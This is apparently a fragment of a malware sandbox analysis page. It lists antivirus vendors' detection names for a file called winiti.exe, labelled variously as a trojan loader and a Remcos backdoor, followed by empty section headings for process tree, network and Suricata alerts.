VBA32	TrojanLoader.MSIL.DaVinci.Heur
Malwarebytes	Trojan.MalPack.PNG.Generic
Ikarus	Trojan.MSIL.Krypt
Panda	Trj/GdSda.A
TrendMicro-HouseCall	TROJ_GEN.R06CH0CGQ24
Tencent	Msil.Backdoor.Remcos.Xmhl
huorong	Trojan/MSIL.Agent.kl
MaxSecure	Trojan.Malware.300983.susgen
Fortinet	MSIL/GenericKD.66824822!tr
AVG	Win32:CrypterX-gen [Trj]

winiti.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All